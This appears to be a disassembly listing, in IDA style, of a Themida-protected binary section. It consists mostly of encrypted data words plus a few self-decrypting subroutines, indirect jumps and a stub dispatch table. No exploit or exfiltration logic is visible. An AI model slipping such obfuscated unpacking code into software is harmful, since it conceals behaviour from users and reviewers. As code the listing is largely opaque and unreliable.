41F6390Ch dd 0A475169Ch, 0AB1B999Ah, 0BDA0E7CAh, 0F0E51693h, 0E8E106FCh dd 0B25F0B1Bh, 1F14E151h, 89E92D9Dh, 35Ah, 9D0D72BFh, 0C72445EDh dd 0F1525F57h, 0F2C6F481h, 1149FCC2h, 0DC169BFBh, 3ABEF3CBh dd 0A465EDCAh, 27C69E48h, 236AC943h, 0CC169304h, 6ACF7A65h dd 0F29DBE14h, 20h, 0DB0BABC6h, 0F5F04003h, 0BC8D169Bh dd 0F1D2FB7Ah, 0F49B1693h, 1CFD80C9h, 0E3839DBDh, 97000000h dd 0BA3BC724h, 585ECE2Eh, 714E4867h, 3D76585Eh, 0E3464DBDh dd 0A04A4373h, 979F0F73h, 0CB36A0B5h, 0DBEC44B7h, 1181022Fh dd 3FAF0C25h, 261C5B56h, 0AD0E1086h, 0BDF6583Dh, 0EF1CCE3Eh dd 901A1C8Ch, 0D646A4F0h, 0FEC0EFE0h, 9B21E747h, 1C48616h dd 169325D8h, 0D8BD92A3h, 5DBE3D76h, 9325A3E6h, 56794A16h dd 806ADA5Dh, 2836661Ah, 8B4A759Dh, 1D9D9610h, 0CA9469ADh dd 0AB70D6FBh, 0E684951Ch, 0FFDDE1B2h, 5A65BBD6h, 0E2880E19h dd 9461D131h, 0E83194CAh, 931CABFDh dd 0C72BE882h, 4187C657h, 0E2D4B1BEh, 25962h, 0DC4CAA00h dd 1787EA39h, 0E454B17Eh, 2E9E2211h, 0EA5AD847h, 0A41F8C0Bh dd 0F03FD646h, 0A9761F8Fh, 0E53ADB4Bh, 547F1686h, 0EA96BB8Ah dd 9455169Dh, 56C624A8h, 0A31370BFh, 0BAB66D2h, 0F04003DBh dd 8D169BF5h, 0D2FB7ABCh, 9B1693F1h, 829C9F4h, 3FC3AAAh dd 0F141883Bh, 1B2C1693h, 1CB9446Fh, 903F9DBDh, 5B000000h dd 475FC724h, 0F7746691h, 5F54426Dh, 0C82B6BDBh, 108639ABh dd 0E8F666C5h, 13F767CBh, 0D848AB78h, 7CAC4CDEh, 80C97C62h dd 6B108621h, 17AEB05Ah, 169B2717h, 4A700516h, 0CD784676h dd 108B4F6Ah, 0D263809h, 0CB583DADh, 0E126F767h, 7EB1BDD1h dd 19CFC78h, 7670000h, 0D031FE97h, 1F9E9560h, 0D759C6AFh dd 21A18E67h, 0C4C7E4B1h, 1CF969C9h, 6530A007h, 17FE6ECEh dd 5A3BAB08h, 0BBDE6569h, 42169DEBh, 0C6247BC1h, 1370BF56h dd 2466D2A3h, 525F57C7h, 950565F1h, 3392ACA1h, 1086F2EEh dd 0CB93BC8Dh, 0F2EF3291h, 0BD8E1086h, 979CBECDh, 4AC7A313h dd 0AB3D79E9h, 4003DB0Bh, 169C0AECh, 8F76A071h, 1A3BB726h dd 0F8063267h, 58D9B11Ch, 0C08A6BDBh, 0DC05C09Eh, 9F1693D3h dd 0D3F2178Eh, 0A8791693h, 0F828D8C2h, 39BBF8E6h, 0D3246DD8h dd 0F6C71693h, 0B3E0DDD9h, 902BDF4Fh, 1089298Ch, 0FDF620F1h dd 1B080E7Eh, 0F5EE2898h, 0A0100676h, 733DA619h, 0E98DC1ECh dd 0CAD4FDC8h, 86971CACh, 2E2E95A9h, 4F1AB630h, 2B88977Eh dd 6667BBBh, 0F4A5A096h, 0F17DFEC9h, 680D2292h, 704E7E42h dd 0A34579D5h, 132BFC04h, 0B2C9C1Eh, 0CAE80741h, 52FDBF8h dd 171F8FECh, 0C426D1Ch, 0A3223C6Ch, 0EC8CF8Bh, 0AC1C9D8Ah dd 4B68F283h, 334076E6h, 9A705FCFh, 2E306020h, 0C8245997h dd 52B3E008h, 3C9CDE2h, 16276AD9h, 0F5C63402h, 27971415h dd 0F262E14Eh, 3A0141C4h, 65CC5DC3h, 7EEE4D7Ah, 57A57760h dd 0A7EF5FE0h, 39E201D6h, 0FF75ECC9h, 6D42B25Bh, 0C241EE7Dh dd 9BFE261h, 6D3E9DC3h, 165B7C42h, 0E2CE9578h, 9A878565h dd 9570A616h, 0AD0EB924h, 68CB583Dh, 1336BEF8h, 52000000h dd 93686D2Fh, 81993AF0h, 0C9122C10h, 4A6273EEh, 0CA247CA0h dd 0E4475C5Ah, 0D3314274h, 0B93E3363h, 0D6544D49h, 0BF433066h dd 0D65A474Fh, 0C2433066h, 0EA4F6452h, 68783C7Ah, 2B71h dd 89241C89h, 4C381E3h, 83000000h, 1C8704EBh, 89535C24h dd 4C381E3h, 81000000h, 4EBh, 241C8700h, 241C895Ch, 5E08950h dd 4, 8704E883h, 895C2404h, 0B951240Ch, 30A35AAEh, 787AC181h dd 0E9D16A8Ah, 1E981h, 81490000h, 0E349C6E1h, 0EE98155h dd 893F6741h, 8B5459CBh, 0C483240Ch, 8B85004h, 1000000h dd 8B1889C8h, 0C4812404h, 4, 53240C8Bh, 0C381E389h, 4 dd 8704C383h, 0FF5C241Ch, 815B2434h, 4C4h, 62B0E900h, 52F5FFFAh dd 84E733E6h, 0B1AB373Ch db 0EFh, 0E1h, 0B6h ; --------------------------------------------------------------------------- loc_5DB5DF: ; CODE XREF: Themida_:005DA1F4j mov eax, 61B1B04h add eax, ebp jmp eax ; --------------------------------------------------------------------------- dd 14A509ADh, 2D93A484h, 5E510742h, 8981AA5h, 2B8EC4CCh dd 59F4736Eh, 79C85794h, 73A12653h, 8314C1Eh, 2D75C310h dd 1C7F8D8Dh, 0C38B061Bh, 27218D89h, 9D890615h, 6151291h dd 4CD85C7h, 61840615h, 8E90000h, 6E000000h, 93E90141h dd 0C773CD3Ah, 15111585h, 6, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 18EC8004h dd 6C98D89h, 9D030615h, 61523EDh, 2D19B5FFh, 9D8B0615h dd 6152349h, 2C995FFh, 6A0615h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 180424h, 56460000h, 0B5B91CC3h, 0BF661377h dd 6AF57929h, 2195FF00h db 2Eh, 15h ; --------------------------------------------------------------------------- loc_5DB6AE: ; DATA XREF: Themida_:0057A0F8o push es mov eax, eax jmp short loc_5DB702 ; --------------------------------------------------------------------------- db 20h dd 30E42EC4h, 33531708h, 0D74365A2h, 13ECE49Ah, 1BDD7C19h dd 5A228F3Fh, 9E14ADA9h, 29176EA1h, 0DD507A17h, 293FA587h dd 0FD426C8Fh, 0ECCC53Eh, 2B0C1371h, 0D60993A6h, 0E5A30067h dd 5973F92Bh, 0E41E7FF5h, 122F3220h, 0BBDC62A0h ; --------------------------------------------------------------------------- push ds dec eax loc_5DB702: ; CODE XREF: Themida_:005DB6B1j call sub_5DB712 ; --------------------------------------------------------------------------- db 8 dd 0BCFE3CFDh, 705EDA20h db 0CDh, 0C1h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_5DB712 proc near ; CODE XREF: Themida_:loc_5DB702p pop edx sub edi, 7E4E9777h add edx, 7287h movsx ebx, di sub eax, eax mov edi, 663C7276h loc_5DB729: ; CODE XREF: sub_5DB712+5Ej mov ecx, [edx+eax] sbb bx, 0D132h add ecx, 5F1E4728h jp loc_5DB741 mov bx, 9874h loc_5DB741: ; CODE XREF: sub_5DB712+25j sub ecx, 3353E455h and bl, 94h xor ecx, 17C1637Bh sub di, 83BDh mov [edx+eax], ecx mov [ebp+6150B85h], ecx and bl, 28h sub eax, 4 mov [ebp+6152335h], ebx cmp eax, 0FFFF8DECh jnz loc_5DB729 push esi mov [ebp+6153095h], eax pop ebx call sub_5DB795 lea esi, [ebx+12B2BF0Ah] lds ebp, [eax+79h] push ecx push eax jmp far ptr 0A499h:7960E088h sub_5DB712 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5DB795 proc near ; CODE XREF: sub_5DB712+6Cp movzx ecx, di pop edi add edi, 69EFh adc ebx, 39A5047Eh loc_5DB7A5: ; CODE XREF: sub_5DB795+25j push 0 jmp loc_5DB7BC ; --------------------------------------------------------------------------- sbb al, 7 fsubr qword ptr [esi-132F83Dh] retn ; --------------------------------------------------------------------------- push edi dec esp jbe short loc_5DB7A5 loc_5DB7BC: ; CODE XREF: sub_5DB795+15j pop esi jmp loc_5DB7C8 ; --------------------------------------------------------------------------- dw 7856h dd 7E4054B6h ; --------------------------------------------------------------------------- loc_5DB7C8: ; CODE XREF: sub_5DB795+28j ; sub_5DB795+6Dj mov eax, [edi+esi] movzx ebx, cx sub eax, 70D0615h mov edx, [ebp+6152A45h] add eax, 3B21F0A8h cmc add eax, 7F637140h movzx edx, ax push eax add [ebp+61528C1h], edx pop dword ptr [edi+esi] mov bx, cx sub esi, 4 mov ecx, esi cmp esi, 0FFFF9698h jnz loc_5DB7C8 mov edx, [ebp+615233Dh] lea ecx, [ebp+61B1EC7h] movzx esi, cx mov [ebp+6152721h], ecx push 0 push edi call sub_5DB828 and [edi-3Dh], bl sub_5DB795 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5DB828 proc near ; CODE XREF: sub_5DB795+8Bp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Dh inc edi push edi retn sub_5DB828 endp ; --------------------------------------------------------------------------- dd 4BD77AFCh, 6DB7177Ch, 8B663809h, 0CD85C7D0h, 84061504h dd 6A000071h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 14042444h, 43000000h, 0F48C353h, 0BD8BD8B7h, 6152D29h dd 111585C7h, 615h, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1C0424h, 51410000h, 0D15C4AC3h, 97BAF70Fh dd 0B5FFC8E2h, 6150009h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 14h, 0D8C35343h, 0FFFE8B66h, 1502C995h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 1EBE4B53h, 6A4D5087h, 2195FF00h, 8B06152Eh, 0C34DEBC0h dd 7C15CAC3h, 1A732439h, 6ED6AE59h, 0FC1E07BEh, 8FDCF62Bh dd 0C16BDE79h, 5E3289A5h, 6EF3E258h, 80B7D4B1h, 0F5B4E4A2h dd 3A01806Ch, 401FDA83h, 56182393h, 0AC80E1D1h, 0DAA5C844h dd 3CFA52A1h, 8C1E172Dh, 1F41A496h, 73B59DA1h, 97E9h, 0AA57D400h dd 0F5CC4719h, 0D138F3BAh, 0ABAFD666h, 4DB2979Fh, 95B7E37Ch dd 0A9E57200h, 0B69CB5E9h, 0F377609Bh, 0B794A9B6h, 60D7609Eh dd 0A9BD897Dh, 9EBD8C9Eh, 95ACE372h, 0B98B204Ah, 89937E9Bh dd 0F496B99Dh, 0A19E96AFh, 0A7D6B594h, 0D100FD91h, 594ACC48h dd 713C33h, 57DB4D52h, 0B6005EF3h, 899DBBEFh, 899500BDh dd 0BBEFB69Fh, 0B6D00097h, 7155C3B1h, 0A4370052h, 10D3C20Dh dd 0E09h, 6 dup(0) ; --------------------------------------------------------------------------- jmp loc_5DCA03 ; --------------------------------------------------------------------------- push 61B2172h jmp loc_581882 ; --------------------------------------------------------------------------- push 61B225Eh jmp loc_581882 ; --------------------------------------------------------------------------- push 61B2359h jmp loc_581882 ; --------------------------------------------------------------------------- push 61B24F7h jmp loc_581882 ; --------------------------------------------------------------------------- push 61B2589h jmp loc_581882 ; --------------------------------------------------------------------------- push 61B262Ah jmp loc_581882 ; --------------------------------------------------------------------------- push 61B26C2h jmp loc_581882 ; --------------------------------------------------------------------------- push 61B276Dh jmp loc_581882 ; --------------------------------------------------------------------------- push 61B2826h jmp loc_581882 ; --------------------------------------------------------------------------- push 61B2903h jmp loc_581882 ; --------------------------------------------------------------------------- push 61B29D2h jmp loc_581882 ; --------------------------------------------------------------------------- push 61B2B16h jmp loc_581882 ; --------------------------------------------------------------------------- push 61B2D5Ah jmp loc_581882 ; --------------------------------------------------------------------------- push 61B2E55h jmp loc_581882 ; --------------------------------------------------------------------------- db 6Ah, 0Ch, 9Ch dd 57C72AF9h, 0A41471BEh, 6EDE62D1h, 0AA1A9887h, 0E4DFCCCBh dd 0B07F1686h, 0E936DF4Fh, 0A57A1B8Bh, 943FD646h, 0D2D6FBCAh dd 0D495169Dh, 57C72468h, 81F1525Fh, 0FD249FBDh, 0F31086F2h dd 251A1C8Ch, 0B5C0AA7Bh, 3D013105h, 9BFB5286h, 20A3B916h dd 1693FBF9h, 824BEB1Bh, 5FC11EE0h, 2BFC9C4Eh, 0B41021EBh dd 79E94F44h, 0FBAA403Dh, 169354D2h, 80C9F49Bh, 9DBDC3FDh dd 3383h, 864F9700h, 8AD3D9D2h, 57412980h, 0DC6777A7h dd 169BF85Ch, 0C434B4E1h, 548ABEBh, 0F21693E3h, 4CB19847h dd 0EE9DBD2Bh, 0BEF868C5h, 0B3F929C1h, 0D000000h, 5F57C724h dd 9680F052h, 68AE1E9Dh, 0CD2E8DA6h, 86F2D3F6h, 0A6899A10h dd 3EEB9F70h, 0D0575CBDh, 0EC593660h, 1086F2A5h, 0BD587748h dd 86F7FAF8h, 575F610h, 0D040C370h, 7CA454E6h, 0B1040FA1h dd 0FBC3ECEAh, 9CD28048h, 825C6D16h, 585ECE31h, 0C2E88367h dd 55F0CEFEh, 108B76EAh, 8DA6B889h, 4BD8BD2Dh, 0FC057FE7h dd 4AC7D3A4h, 6D7F9865h, 5660B1BDh, 0DBAEEh, 0A8189600h dd 63D356CDh, 0B0209D92h, 7AEA4EE5h, 0B626849Bh, 0D0C3C8DFh dd 0BC730272h, 0F52ACB3Bh, 0C16E0777h, 9043D242h, 0D3D2F7CEh dd 0D899169Dh, 56C62464h, 0A31370BFh, 0BAB66D2h, 0D8D903DBh dd 0A4FFEB5Bh, 169BF594h, 1686EA47h, 5B3B2F20h, 0A4E94C4Ah dd 511693F1h, 0E752F7E6h, 6D9DBD1Ch, 0C2h, 57C72449h, 59C92A87h dd 989983B1h, 46C3A717h, 0B9FC7CE4h, 0EC9D49B1h, 0CC09D3C3h dd 774A67BBh, 0C1DC8EDEh, 108614B3h, 27CE3EBDh, 0B0B7BF8h dd 1F8FF041h, 4E442617h, 7A647AAAh, 4A4CBC39h, 73C3307Dh dd 86A94C0Ah, 7411B9E4h, 0CBDC169Ch, 8CBC7C2Ah, 1C4713B2h dd 6D36108Bh, 0C5EF83DCh, 3158EB71h, 0BC1CABBCh, 0D3EBC4EBh dd 9EC5CDEh, 3A30981Ah, 3939A321h, 83AC1C9Ch, 8232D1ACh dd 4331B1BDh, 0CCEBFh, 94048200h, 5FCF3201h, 9C0C69B6h dd 56C62AF9h, 0A21270BFh, 0DCD7D4D3h, 1807EE5Eh, 0E14E2797h dd 0D22F363h, 6C573EAEh, 0D0BEE362h, 0BC3D169Dh, 56C62480h dd 0A31370BFh, 0C72466D2h, 0C52BB73Bh, 436C6155h, 89557A53h dd 0F2A9F053h, 43541086h, 0BD9F6DA7h, 86F2C306h, 0F199AA10h dd 0C253C340h, 76A0106Dh, 0E78EFE7Dh, 0D2A64BC6h, 21299CA2h dd 4C169BFBh, 3879637Bh, 724B4BBBh, 93F88ED3h, 0C5406D16h dd 0B8397A55h, 0E9DCA248h, 0E0429A5h, 0FE6ECDE6h, 0B1D2A60Ch dd 19C9CF12h, 0BA9DAEEDh, 413CD3EDh, 0EBF3DC18h, 3B68C58h dd 160011EBh, 9AA4D4A4h, 2BA23E2Bh, 0DB01DB15h, 4BCB2168h dd 4AFBCC19h, 194BCB07h, 7002D5E6h, 0CD843996h, 7A4B6B1Fh dd 0BB397A64h, 98724B4Bh, 318C189Bh, 4307EEC1h, 2A67AA19h dd 3506194Bh, 0E757D455h, 1D6D7516h, 8004F2B4h, 0BD3h dd 491017Dh, 0BB5ACA2Fh, 0FC990964h, 0C451C127h, 0FA9B0B6Fh dd 4FB3EE9Dh, 86E936DFh, 54B07F16h, 0A12211E4h, 6B736431h dd 9DD1B1D8h, 81BB3C16h, 5F57C724h, 0E9F525D9h, 9C0A265Ah dd 8BEC4516h, 2D9D181Bh, 427614E9h, 4A65D555h, 0B3BFBABh dd 90332933h, 1693E549h, 1C876334h, 10893744h, 0F1E6F8C9h dd 13B01F0Dh, 5ED8B234h, 0ACBBB6D7h, 0DC4CA81Ch, 0F868C9DAh dd 14BB22BEh, 9B45BCFh, 0D262BD40h, 0FA785DA3h, 0FADDB322h dd 5DA69674h, 82000000h, 6FDF624Fh, 0B258C824h, 36083808h dd 0B1080A21h, 9919229Eh, 8D380629h, 1086F844h, 0E2741627h dd 9C4BD863h, 0CB2A5716h, 4D625B5Bh, 54C44071h, 0ABDF04C1h dd 0F73C1693h, 3D120474h, 0EF5FDC4Dh, 13360DCFh, 0DA1693ABh dd 0DD5221C9h, 4BA7EF5Fh, 0AEBh, 5FCF3081h, 90846657h dd 3EBF0BABh, 0D8F7C8CEh, 11E93F06h, 0C90E16A2h, 0AB1A88F8h dd 169D4766h, 31233405h, 0E6DAB08Eh, 0DED309D5h, 5E15F159h dd 1CC189B8h, 59DA5733h, 94170CE9h, 0FE45AF2Ch, 0C7E8DFB1h dd 659569CFh, 0F3C5EA59h, 536410B9h, 0AFF2518Bh, 4E1CB1F3h dd 0F390B98Ch, 4A5B1CB1h, 0ADAF8565h, 306B9DA8h, 0D68A421h dd 8BA4999Dh, 21708CACh, 8169EFCAh, 32C33390h, 36A60B28h dd 0E454D754h, 0EFEBECB2h, 0BF5CBE66h, 0CB6B25C5h, 0AB040CA3h dd 8AA5CA1Eh, 2689AAB4h, 0A5E9D4B6h, 0E61AABF0h, 0BFF6FCDh dd 4C039AABh, 0FAB9E42h, 0A359D25h, 9B1B0000h, 54D54A2Bh dd 0A32211E4h, 6BCD6233h, 0A5051AFBh, 404B6035h, 987DED4Dh dd 0E1B4248Bh, 0F382F252h, 0A64FBF3Ch, 4F92311Dh, 2E169DD6h dd 97B6CF6Dh, 501086F2h, 7BE80B0h, 16A211A8h, 0ED5DE2CFh dd 0E3FBD4A9h, 4AF9E3F9h, 169DD207h, 2970D5E6h, 0D4169DD2h dd 89EA27C3h, 0E1D27C19h, 0C8C5F161h, 0D20A4FF6h, 20F1169Dh dd 0DE6AC94Ah, 0DBACEA5Ah, 4A238D84h, 0E9C6E987h, 4B7B3BADh dd 0AC98D073h, 54651087h, 0BA8808C9h, 0D55D57B1h, 9A3h dd 14E151ADh, 4B2A9A1Fh, 0CE959D4h, 54219117h, 0AEB5BDFh dd 1FA31E8Dh, 0D659C6AFh, 24A08F66h, 0F152E1B4h, 0FBE3F481h dd 9DD70148h, 112BEC16h, 6DDD624Fh, 0BF2F8C7Dh, 7D096A77h dd 1EA39000h, 0A69581AEh, 6152A00Fh, 117C6EDEh, 97A81EACh dd 49F34h, 1F2D2A00h, 9E37AE7Fh, 0AB38DC8Eh, 4003DB0Bh dd 16A21147h, 0F8390516h, 0E06A0B7Bh, 5B7F7CF7h, 3AD0A2D1h dd 8AEE7AF9h, 8201351Ah, 169D085Bh, 97186414h, 8F360827h dd 1087F05Bh, 676F522h, 338D5429h, 0E0D6B1BAh, 90264h dd 80F04E00h, 4BBB3EF5h, 88F875AAh, 42B236EDh, 8EFE7CB3h dd 0C8FBB0E7h, 41BFA6Ah, 0CD6233A3h, 916FF6Fh, 685B3AAAh dd 0D4BADF66h, 0C041169Dh, 57C7247Ch, 0B3347D5Fh, 96AA743h dd 278E9D99h, 7BF93AB8h, 58320B0Bh, 0A81DD05Dh, 4025897h dd 0B6340000h, 1086F297h, 0BE80B050h, 76AF675h, 81AE9F97h dd 8CD2B895h, 90B98C52h, 5B1086F2h, 7405A04Ah, 716A211h dd 0A80B2836h, 65C65D38h, 8737C1F5h, 84BC8757h, 4910872Ah dd 0DD8A578h, 0A58FB1BBh, 86A1Dh, 1888E600h, 0D343A67Dh dd 2090ED42h, 0EA5ADE55h, 2696140Bh, 6053584Fh, 8CA372E2h dd 45DABB2Bh, 919E77E7h, 0A033C232h, 0D4C207BEh, 0E8A9169Dh dd 57C72454h, 81F1525Fh, 7FB4A695h, 0B3DE8CFCh, 1DB03D0Ch dd 713897A8h, 76000003h, 9C4EBE3Dh, 0F29DB678h, 0B9FA1086h dd 0FFD0C636h, 0A1D1A50Bh, 1172269Dh, 2AFB16A2h, 0D174314h dd 0A19C2496h, 969DB222h, 71C3A717h, 0C253C340h, 0C09E0E6Dh dd 989E0E73h, 0DF49C3A7h, 477F71Fh, 322A9B56h, 0CE82411Dh dd 2D108007h, 0FF37A704h, 6B3C5C0Eh, 0BA733392h, 268EA8B1h dd 7BFh, 30C53591h, 670E7E03h, 28CD3DB8h, 700575FBh, 26CF3FC3h dd 23873A71h, 0EA4DE2B3h, 28849B7Ah, 0E546DDB8h, 2737A075h dd 9DD5759Ch, 0C577F816h, 0B83BC724h, 422F6748h, 0A26551C1h dd 302EC4EBh, 86F24C95h, 6C1E2F10h, 68DB3CBFh, 1086F221h dd 41D4FBCCh, 0A81A0974h, 0C8F97h, 64CD0000h, 43F79303h dd 2A7B5h, 9DB6D100h, 561086F2h, 65D556A2h, 0B93F744Ah dd 6E704D49h, 86F2B2D7h, 82683910h, 115809BCh, 122316A2h dd 1484E74Ch, 0E151B281h, 69CAE7B5h, 0D7A711F9h, 7DB9298Bh dd 0B8970764h, 44FCC797h, 91080D5h, 43FC6538h, 0D1E3B1BBh dd 70671h, 7CEC4A00h, 0B7278A99h, 84F451DEh, 4EBE42F1h dd 8AFA78A7h, 0C4FFACEBh, 101FF666h, 0C9563FAFh, 51AFB6Bh dd 745F36A6h, 0DAB6DB6Ah, 0B435169Dh, 57C72488h, 81F1525Fh dd 14BBF295h, 15E050B3h, 630C49h, 7DEAE02h, 0C52863h, 1C4B97A9h dd 81000000h, 5516B054h, 55B00D31h, 0F3DCB1E5h, 0F1B52317h dd 0F3000001h, 0C9CD3DBEh, 0B61E16F4h, 1086F29Ch, 6777A757h dd 0A21136DCh, 0D8E6B716h, 0D21A3F06h, 0B4E1169Dh, 2E8C737h dd 893C223Ch, 169DD240h, 9C191A2Bh, 7515EA2Ch, 2EC737B4h dd 24128201h, 0ACB2E296h, 70ABACB2h, 0CA44D745h, 21A7EA5Bh dd 7546169Dh, 26722695h, 0C3991080h, 0B625D900h, 5E83421Ch dd 1D1CB625h, 0E783940Ch, 0AC17E6B7h, 37B1BA90h, 629B53Dh dd 0C7270000h, 1071BE57h, 0DF5ED5A0h, 1799866Fh, 0E161CEA7h dd 8407A471h, 5C39A909h, 25F060C7h, 573EAE0Eh, 1AFB6BC8h dd 0FB1EA5A9h, 82169DDBh, 0C7243B01h, 0F1525F57h, 1F9C9581h dd 0D4C23293h, 0D1E2D4FBh, 0B5120474h, 5F0AD904h, 0C3408736h dd 0C4268B53h, 7D6D6254h, 1A36C3EEh, 19BE97A8h, 0FC000000h dd 0FE3E63E2h, 0FBBD1086h, 86FE0148h, 0F4DBEC10h, 1B51E16h dd 0D1000001h, 86F29CB6h, 77A75710h, 113EDC67h, 0EEBF16A2h dd 0F060E3D0h, 21AD0E25h, 1EE72F9Fh, 7766EBC7h, 6E416E7Eh dd 0ED4D6628h, 0A644397Dh, 421C4CECh, 5E83421Ch, 1D169D71h dd 7170990Ch, 2AFB169Dh, 9347FE40h, 5A108076h, 0E23FB449h dd 8EA8B1BAh, 55A26h, 878F600h, 0C333B66Dh, 1080FD32h dd 0DA4AAE85h, 1686E43Bh, 3063287Fh, 9C9362D2h, 55CAAB1Bh dd 0A18E67D7h, 0F0E3B222h, 0DB3257EEh, 38B9169Dh, 57C72404h dd 81F1525Fh, 0AC1C9C95h, 6EFA796Ah, 0A29B9B0Bh, 8E15898Dh dd 6C25C41Fh, 0C4258641h, 86F2D801h, 0BD92A310h, 1A60CDD8h dd 0B10297A8h, 0E7D8DE4Eh, 0DBDB4BACh, 141C08E2h, 0F0000000h dd 37B5h, 3DBEF300h, 0F52F1CDh, 0EE1086F2h, 24052DDDh dd 525F57C7h, 199581F1h, 575FA37h, 0FC3AAA0Eh, 7D306703h dd 9C79E94Ah, 0F019ACB2h, 7B1086F2h, 19E4C0AAh, 0B8000000h dd 5F57C724h, 86F2B8E4h, 7669D010h, 43B3377Ch, 0A3907A53h dd 57E5B020h, 5F57C724h, 56D925D9h, 0D6F969CAh, 0FEC0EFE0h dd 0A211F147h, 97A77816h, 0A50590C5h, 0A5D10FA8h, 9D2EFB1Eh dd 9EB18216h, 0B4AA0B9h, 8F7BD7E4h, 0E4B121A2h, 3A7CEC4Fh dd 0DEE010B0h, 0DE4EB300h, 8E252D5h, 0B9CA169Dh, 3A041510h dd 39A90F24h, 0F363E051h, 508AEAEBh, 335FBC23h, 84E73C57h dd 0E8982214h, 0FF1FA6B8h, 7E1AAA6Bh, 8BC009BCh, 9AAB02CDh dd 0EF5DE8B5h, 787EAB9Fh, 416FCh, 4CBC3A00h, 87F77AA9h dd 54C441EEh, 9E0E72C1h, 5ACA28F7h, 0F4AFDCBBh, 0C06F0676h dd 0F926CF3Fh, 0B56A0B7Bh, 0A42FC636h, 0D9C60BBAh, 0E4A5169Dh dd 3BC72458h, 0EB4D46B6h, 6D423B7Bh, 0A8189B88h, 86F6756Eh dd 9420A390h, 9C71A515h, 96E83B3h, 0B3DA9D99h, 7B32D70Ch dd 0A0107354h, 1A5DE0D5h, 43E397A8h, 0B7000000h, 3DB0BABh dd 9C41FF40h, 91AD7E16h, 1B9824A0h, 0BD926BABh, 0BDB6DDD8h dd 4BA81693h, 0BF7338E3h, 1B346DEDh, 0D747A57Ah, 38163DFh dd 7C590000h, 71CC65BDh, 0A99E3601h, 1B002037h, 0B8C46DADh dd 0BAB6AD2h, 444003DBh, 19169C1Ah, 5B7E4517h, 221693DAh dd 0DA6DB411h, 3F101693h, 87E54E10h, 3C2E1F17h, 0F262E1D2h dd 1AC52CC4h, 8A548434h, 0DAA8F154h, 42531693h, 0B72F96A8h dd 0C6108932h, 0F53E20F5h, 3B140272h, 0D0979F8h, 0A0605A30h dd 0EFD76E70h, 0C1AB64Bh, 37D343A7h, 7380B687h, 3813A70Fh dd 37E72A99h, 0B58602B9h, 6FB8F6A2h, 6B6F5640h, 4472E246h dd 0C5F89F4Bh, 80022F2Dh, 0F76CB510h, 3E0F02B9h, 0F77CA520h dd 2EFF02B9h, 72A2563Ch, 1FEDD96Ch, 5F7004A3h, 9A0A69B6h dd 0B424879Ch, 0F525D9E1h, 0D6265AE9h, 96A70ECFh, 0F399BEA0h dd 29E27A16h, 0D38134CBh, 0A8872968h, 0C6BAE3C2h, 0CC430EEFh dd 9F2011E1h, 7416E72Fh, 1151B439h, 493CB6h, 0AB500000h dd 4003DB0Bh, 169BF5F0h, 4F92312Bh, 2E1693F1h, 0BE443F25h dd 2906F99Fh, 4A4C5D41h, 6F0B5384h, 0D4827DB2h, 0ACEA5ADFh dd 418C37D3h, 2E169349h, 1BA70B28h, 10ED2999h, 79644B3Fh dd 0BDD56DD0h, 0BDF39Dh, 24C70000h, 525F57C7h, 9D9680F0h dd 7B68AE1Eh, 9C0C6CF8h, 0EB8AA59Ah, 86F7A8C6h, 0F767C410h dd 1F17EEE7h, 23918AB6h, 482292F0h, 575F62Dh, 0A7D7A711h dd 5F002C97h, 0F825169Bh, 300D0979h, 0DFD4761Fh, 9802E858h dd 1FA6B8E8h, 108B33FBh, 88149582h, 8479BD2Dh, 0E93093ABh dd 941CABABh, 0A192AC83h, 45B6B921h, 1713BCF5h, 64C65D38h dd 0BB9829F4h, 2D47B1BDh, 1D2C5h, 90007E00h, 5BCB2E05h dd 980865BAh, 52C226FDh, 9E0E6CC3h, 0B8EBA0F7h, 0F42BCA3Ah dd 0BD720373h, 0F926CF3Fh, 586B0A7Ah, 0DF8ACF76h, 0F071169Dh dd 61864F4Ch, 231D4084h, 0C141F298h, 0C6FC451h, 0AB33F99Ch dd 4003DB0Bh, 169BF5F0h, 4F92312Bh, 2E1693F1h, 78496D1Dh dd 0F196B73Eh, 5D5F1693h, 3264D454h, 0DB02AD5Dh, 0BD1D0B6Eh dd 0F3919Dh, 4FA50000h, 9A70E062h, 0AB91A99h, 1086F2C7h dd 7CBA95A6h, 0A3930367h, 86F7D220h, 0ED5DDE10h, 30981B08h dd 9A4C62E1h, 31A107DAh, 42D311Eh, 0D75535A5h, 355CE7F5h dd 0B8108610h, 6C8A7EFh, 123DEF64h, 2550794Ch, 0A1B1086h dd 5E863A60h, 0FA2BA6BAh, 5866496Ch, 9BA641EDh, 63E2E416h dd 1693A73Eh, 45A7ECBDh, 0C3ECE1D5h, 84B48432h, 0CC280BBAh dd 7647108Bh, 77E74B68h, 0C131919Eh, 0BE6AA53Ch, 0BC383EB1h dd 0D7h, 0E88DFD79h, 0AF46B63Bh, 950580h, 0B85DCD33h, 0FE97076Bh dd 4BAFE2A9h, 82E53ADBh, 50AC8312h, 9D1E15E0h, 4F7F482Dh dd 9DDCADF4h, 6DCF5016h, 73E3624Fh, 0A8189A97h, 0AD1D9D96h dd 281AEBDh, 9581F176h, 0F2D5FCC7h, 87981086h, 0A5B787A8h dd 86F2FB1Eh, 5C08210h, 1086F2DCh, 96A18E9Fh, 97A30502h dd 115C0E62h, 57C7242Bh, 81F1525Fh, 89F974BDh, 0BBDAB08Dh dd 431B4BEBh, 2B9B1819h, 4D7812EBh, 16A21162h, 0ED063001h dd 0D3771E8Eh, 0ED173A09h, 0C5D6169Dh, 1787E425h, 454CA41Fh dd 5AC13623h, 67D75473h, 0B222A18Eh, 0B22287ACh, 35DF8B84h dd 4A4CBC3Ch, 0F3525F6Bh, 0FDB0E783h, 1CF969CAh, 234A407h dd 0A82h, 0F57BB800h, 0CEBC9185h, 244B2F66h, 475C5ACAh dd 314274E4h, 3E3363D3h, 544D49B9h, 433066D6h, 5A474FBFh dd 433066D6h, 4F6452C2h, 783C7AEAh, 